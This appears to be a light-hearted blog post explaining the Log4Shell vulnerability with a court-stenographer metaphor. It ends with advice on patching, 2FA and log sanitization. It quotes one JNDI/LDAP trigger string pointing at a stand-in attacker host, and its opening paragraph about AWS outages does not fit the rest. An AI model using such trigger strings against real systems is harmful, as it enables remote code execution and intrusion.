Log4Shell, as explained by Metaphor and Memes!

What a charming holiday season — with a pair of AWS zone outages, I thought it’d be great to dig into availability zone resilience and the tradeoffs and practicalities involved in achieving it. Surely there could be no greater Systems Integrity topic to chat about?

So what is Log4J and what’s the big deal?

Log4J is a super common toolkit used by software in the Java ecosystem to create logs. Think about Jean-Luc Picard’s “Captain’s Log” entries at the start of every episode of Star Trek: The Next Generation, except in a computer there’s thousands of episodes every millisecond and we’re diligently recording everything down to the very last sip of Earl Grey. Logs are great, generally much beloved, and not historically one of the big sources of systems compromise. They’re even a great way to monitor your system against compromise!

And then Log4Shell happened. This is the friendly name of the exploit, formally named CVE-2021–44228, and a lot of folks are just saying “Log4J” in reference to the problem. Log4Shell is a Remote Code Execution (“RCE”) vulnerability, which is OpSec speak for roughly “Anyone who can interact with a computer that has this vulnerability, even indirectly, can command that computer to do whatever they want it to do.”, and in the scope of a vulnerability it’s fair to call that super bad.

Please allow me to pursue a metaphor whose inaccuracies will surely upset both engineers and legal professionals.

Let’s say Log4J is a court stenographer

And our computers are courtrooms. The stenographer is in the room during all proceedings with the specific job of creating a transcript of everything that transpires in the courtroom.

Courtrooms have a variety of access levels — some are tightly secured, while others can be visited by the public. The stenographer is treated as trusted support staff with privileged access.

Learning about Log4Shell is about equivalent to suddenly finding out that about 1 in 3 of all stenographers are Manchurian Candidates. They’re unknowing sleeper agents who, when triggered with the right key phrase, will follow any command to the best of their ability. The trigger occurs if they write down a special phrase in their transcript — so somebody just has to say the phrase in court, and bam, noted and compromised.

The phrase looks something like this:

${JNDI:LDAP://evil-corp.evil/activate-manchurian-candidate-and-follow-these-instructions}

And in our metaphor, that’s not terribly different from a phrase like “Spectral Frog Abacus” — A weird thing to say, but you could plausibly trick someone into writing it down.

Exploiting this is so straightforward that this week, nearly half of all enterprises have reported being probed for Log4Shell vulnerabilities.

Via Wikipedia:

As of 14 December 2021, almost half of all corporate networks globally have been actively probed, with over 60 variants of the exploit having been produced within 24 hours

and

Check Point Software Technologies in a detailed analysis [characterized] the potential for damage as being “incalculable”

This is like bad actors showing up in courtrooms all around the world and shouting out the key phrase to see if they compromise the stenographer. And of those compromised, we don’t necessarily know what they then went on to do.

So here we are — organized individuals or random actors can shout out things in court, and if the command is transcribed then they’ve compromised the stenographer. More sophisticated individuals might to plant a trial witness who will speak the activation code in a subtle way, rather than just shouting from the back of the room.

Among the least impactful things that the compromised stenographer might do is simply wreck up the place. They stop doing their job and start throwing chairs around, and proceedings are disrupted until it’s dealt with. (This is like using the RCE to crash machines.)

But more devious instructions to the stenographer might be something like:

1. Self-redact their own transcripts, so their point of compromise is hidden from the records
2. Use the trust that’s placed in them to try to do weird things that they’re not supposed to do but might be able to get away with, such as tamper with evidence, try to influence the proceedings by injecting misinformation into the record, or simply sharing all of the private content of their transcript (did anyone say a password, maybe? Or a credit card number? Hmmm…)
3. Knowing they’ll eventually be caught, unlock a bunch of locked doors throughout the courthouse so that other bad actors can get in later
4. Generally contribute to the Fraud Supply Chain

Well, ok, terrifying… but at least the damage is limited because the extent of the compromise is limited to the stenographer, right? It’s not like anyone else in the courtroom is compromised, they’re just vulnerable to being fooled or preyed upon by the stenographer.

Oh Wait, but it turns out it’s not just the stenographer. It’s everyone who takes notes. The judge takes notes. Everybody. In all of the positions of power. They all take notes. So they’re all vulnerable, sleeper agents in waiting. And it gets worse — it turns out some courtrooms like to “move fast and break things” by having uber-judges who perform with superhuman ability all of the functions of the courtroom — judge, jury, prosecution, defense, … executioner…, and they’re also the stenographer. So if you get into one of these courtrooms, you’re trivially in charge of the entire court.

Metaphor getting thin? Well, yes, but it’s common in the software world.

If you’re in engineering or have ever attended security trainings, you may have heard of the principle of least privilege. This practice of making sure each component of a system has only just enough permission to operate in its own domain (that is, the stenographer doesn’t also have the powers of the judge) will hugely mitigate the damage that could be done in a system that’s been compromised. Times like these are when good practices really pay off.

But then, everyone everyone takes notes, even the most powerful, and while the stenographer is the easiest person in the courtroom to trick into writing your key phrase, they’re all susceptible.

So teams and companies that are doing everything perfectly correct… can still be vulnerable to Log4Shell.

Germany’s [office of information security] designated the exploit as being at the agency’s highest threat level, calling it an “extremely critical threat situation”. It also reported that several attacks were already successful and that the extent of the exploit remained hard to assess.

Ok cool so Log4Shell is bad, and your metaphor is done now. I guess the computer people will sort it out; I’m all good here, yeah?

Well…

Well, first off, if you exist on the planet, you need to be aware that this impacts you.

Do you use the internet at home? Then in your home you have a router, and that router has a pretty good chance of running Java and definitely makes logs and often has an externally-available management portal. So check it for a software update and, if present, install it. While you’re in there, maybe turn off the external management portal, too.

As a consumer of software, the best thing you can do is reaffirm two fundamentals:

1. Apply software upgrades. Check your stuff, upgrade it. Software teams around the whole world are working on fixing this, rapidly, this week… and when it’s software that you have to update yourself, you don’t get to benefit from their work until you apply those updates.
2. Use 2FA everywhere. The odds of your password being compromised this week just went up a significant amount; I’d put good money on haveibeenpwned.com announcing a batch of security breaches in the coming months, many of which will trace back to this week. If your password is the only thing securing your email accounts or your bank accounts or your Magic the Gathering digital collection, your compromise is inevitable. Use 2FA.

Do you run a Minecraft server for your kids? (…or, for yourself?) Minecraft: Java Edition was compromised by Log4Shell.

And for those of us who would self-identify as computer people (beep, boop), …well we have a heckin’ lot of thoughts on the matter. Here are 3 simple ones:

1. Anywhere that we can detect that Log4J is in use by our own code, we must upgrade or excise it.
2. We all got a pointed reminder that when logging information, we must always sanitize our log inputs. It’s worth treating this as a severity analogous to SQL Injection or XSS, but it’s far less emphasized as a security practice.
3. Sysadmin teams worldwide have a lofty task head of them

Which brings me to my final and most pressing point of the morning:

Give your OpSec people some love.

Like, there’s no better week to be compassionate and kind to your Infra, DevOps, and Security folks than this one.

Are you out getting coffee or cocktails with someone contributing to OpSec? Pick up the tab.

There’s a whoooooooole lotta people out there who lost a lot of sleep over this, and a whole lot more that lost a few workdays to rapid response.

Special thanks to https://log4jmemes.com/ for the compelling illustrations, and https://en.wikipedia.org/wiki/Log4Shell for the quotes.

A footnote for my programmer and network engineer friends…. Yes I know I super oversimplified a ton of it and most especially the networking piece of it but I really didn’t want to get into networking or network security or the nature of web servers or the IoT or what-have-you…. And I blurred the line heavily between a “computer” and “software running on a computer”… Words are hard; I welcome your technical rebuttal ;-) In the meantime… let’s all go upgrade whatever version of Java is running in our toasters.